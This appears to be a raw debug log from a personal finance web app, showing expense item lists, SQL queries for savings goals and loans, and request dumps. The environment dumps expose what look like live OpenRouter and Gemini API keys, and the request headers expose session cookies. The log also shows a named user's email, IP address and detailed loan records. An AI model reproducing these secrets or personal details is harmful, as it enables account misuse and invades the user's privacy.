  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-19T06:47:15.444Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-19T06:47:21.469Z server-connect:router Serving templateView /goal
2026-03-19T06:47:21.469Z server-connect:app Executing action step identify
2026-03-19T06:47:21.469Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:21.469Z server-connect:output identity: 1
2026-03-19T06:47:21.469Z server-connect:app Executing action step restrict
2026-03-19T06:47:21.469Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T06:47:21.470Z server-connect:output restrict: undefined
2026-03-19T06:47:21.470Z server-connect:router Render template goal
2026-03-19T06:47:21.470Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AO0NDaSLRfnxFrX5EFzoeNg%3D%3D.0pBfDnFnMbH9qAVp1bg2ea%2BEH0Ln5ba56z4d4moOpa5v8%2FQelAJmSd4OsGVcvEQmbSkGyd5Zw6SsWpZ5xSnAffnvUsj76z6X%2B3E20qOdGSvKGlQCIVnmyi48e2tRzWuCAy9Hsj941EHjggzn1ft0Bv24YB9bRv%2FC80RADkArhM8%3D.idNsiB%2Bqjm5nCvyhGxgWcE9tmCTt6pSq5nQWUt4dwzQ; your_r_git.sid=s%3AJy0XzLLD67Ypn0OwFPT3uzC5TyiMbseC.8ahcQagkGEIQNiXFS9r6zDg99l%2FPYEYC6d5nRcojwK4',
    'x-forwarded-for': '49.43.177.75',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-20T06:47:12.937Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.177.75',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AO0NDaSLRfnxFrX5EFzoeNg%3D%3D.0pBfDnFnMbH9qAVp1bg2ea%2BEH0Ln5ba56z4d4moOpa5v8%2FQelAJmSd4OsGVcvEQmbSkGyd5Zw6SsWpZ5xSnAffnvUsj76z6X%2B3E20qOdGSvKGlQCIVnmyi48e2tRzWuCAy9Hsj941EHjggzn1ft0Bv24YB9bRv%2FC80RADkArhM8%3D.idNsiB%2Bqjm5nCvyhGxgWcE9tmCTt6pSq5nQWUt4dwzQ; your_r_git.sid=s%3AJy0XzLLD67Ypn0OwFPT3uzC5TyiMbseC.8ahcQagkGEIQNiXFS9r6zDg99l%2FPYEYC6d5nRcojwK4',
    'HTTP_X_FORWARDED-FOR': '49.43.177.75',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-19T06:47:21.784Z server-connect:router Serving serverConnect /api/goals/list
2026-03-19T06:47:21.785Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-19T06:47:21.785Z server-connect:app Executing action step identify
2026-03-19T06:47:21.785Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:21.786Z server-connect:output identity: 1
2026-03-19T06:47:21.786Z server-connect:app Executing action step restrict
2026-03-19T06:47:21.786Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T06:47:21.786Z server-connect:app Executing action step identify
2026-03-19T06:47:21.786Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:21.786Z server-connect:output identity: 1
2026-03-19T06:47:21.786Z server-connect:app Executing action step restrict
2026-03-19T06:47:21.786Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T06:47:21.787Z server-connect:output restrict: undefined
2026-03-19T06:47:21.788Z server-connect:app Executing action step custom
2026-03-19T06:47:21.788Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-19T06:47:21.789Z server-connect:output restrict: undefined
2026-03-19T06:47:21.789Z server-connect:app Executing action step paged
2026-03-19T06:47:21.789Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-19T06:47:21.792Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-03-19T06:47:21.794Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-03-19T06:47:25.881Z server-connect:router Serving templateView /emis
2026-03-19T06:47:25.882Z server-connect:app Executing action step identify
2026-03-19T06:47:25.882Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:25.882Z server-connect:output identity: 1
2026-03-19T06:47:25.882Z server-connect:app Executing action step restrict
2026-03-19T06:47:25.882Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T06:47:25.883Z server-connect:output restrict: undefined
2026-03-19T06:47:25.883Z server-connect:router Render template emis
2026-03-19T06:47:25.883Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AO0NDaSLRfnxFrX5EFzoeNg%3D%3D.0pBfDnFnMbH9qAVp1bg2ea%2BEH0Ln5ba56z4d4moOpa5v8%2FQelAJmSd4OsGVcvEQmbSkGyd5Zw6SsWpZ5xSnAffnvUsj76z6X%2B3E20qOdGSvKGlQCIVnmyi48e2tRzWuCAy9Hsj941EHjggzn1ft0Bv24YB9bRv%2FC80RADkArhM8%3D.idNsiB%2Bqjm5nCvyhGxgWcE9tmCTt6pSq5nQWUt4dwzQ; your_r_git.sid=s%3AJy0XzLLD67Ypn0OwFPT3uzC5TyiMbseC.8ahcQagkGEIQNiXFS9r6zDg99l%2FPYEYC6d5nRcojwK4',
    'x-forwarded-for': '49.43.177.75',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-20T06:47:12.937Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.177.75',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AO0NDaSLRfnxFrX5EFzoeNg%3D%3D.0pBfDnFnMbH9qAVp1bg2ea%2BEH0Ln5ba56z4d4moOpa5v8%2FQelAJmSd4OsGVcvEQmbSkGyd5Zw6SsWpZ5xSnAffnvUsj76z6X%2B3E20qOdGSvKGlQCIVnmyi48e2tRzWuCAy9Hsj941EHjggzn1ft0Bv24YB9bRv%2FC80RADkArhM8%3D.idNsiB%2Bqjm5nCvyhGxgWcE9tmCTt6pSq5nQWUt4dwzQ; your_r_git.sid=s%3AJy0XzLLD67Ypn0OwFPT3uzC5TyiMbseC.8ahcQagkGEIQNiXFS9r6zDg99l%2FPYEYC6d5nRcojwK4',
    'HTTP_X_FORWARDED-FOR': '49.43.177.75',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-19T06:47:26.185Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-19T06:47:26.185Z server-connect:app Executing action step identify
2026-03-19T06:47:26.185Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:26.185Z server-connect:output identity: 1
2026-03-19T06:47:26.185Z server-connect:app Executing action step restrict
2026-03-19T06:47:26.185Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T06:47:26.186Z server-connect:output restrict: undefined
2026-03-19T06:47:26.186Z server-connect:app Executing action step custom
2026-03-19T06:47:26.186Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-19T06:47:26.192Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-19T06:47:31.822Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-19T06:47:31.824Z server-connect:app Executing action step identify
2026-03-19T06:47:31.824Z server-connect:app options: { provider: 'security' }
2026-03-19T06:47:31.825Z server-connect:output identity: 1
2026-03-19T06:47:31.825Z server-connect:app Executing action step restrict
2026-03-19T06:47:31.825Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T06:47:31.825Z server-connect:output restrict: undefined
2026-03-19T06:47:31.825Z server-connect:app Executing action step select
2026-03-19T06:47:31.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
